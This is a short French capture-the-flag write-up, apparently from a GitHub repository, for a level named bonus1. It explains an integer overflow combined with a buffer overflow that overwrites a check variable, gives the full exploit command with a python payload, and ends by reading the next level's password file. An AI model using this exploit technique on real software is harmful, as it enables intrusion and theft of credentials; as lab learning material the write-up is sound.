- Le code source permet de mieux repérer la faille :
check
doit d'abord être inférieur à 10, mais aussi avoir une valeur suffisamment grande pour permettre le bon fonctionnement dumemcpy
. Pour répondre à ces deux conditions simultanément, il faut passer par un integer overflow.- Ensuite, on sait que dans la mémoire
check
se situe juste après lebuffer
de 40 octets. Il faudra donc profiter dumemcpy
pour écraser la valeur decheck
- Notre exploit doit s'appuyer sur
argv[1]
etargv[2]
- Dans
argv[1]
, il suffit de mettre un nombre négatif suffisamment petit pour exploiter l'overflow =>-2147483624
- Dans
argv[2]
, on va placer d'abord placer 40 caractères de remplissage, puis la valeur de vérification decheck
:python -c 'print "\x90"*40 + "\x46\x4c\x4f\x57"'
- Dans
./bonus1 -2147483624 `python -c 'print "\x90"*40 + "\x46\x4c\x4f\x57"'`
nous lance le shell.cat /home/user/bonus2/.pass
pour obtenir le flag.
bonus1
Folders and files
Name | Name | Last commit date | ||
---|---|---|---|---|
parent directory.. | ||||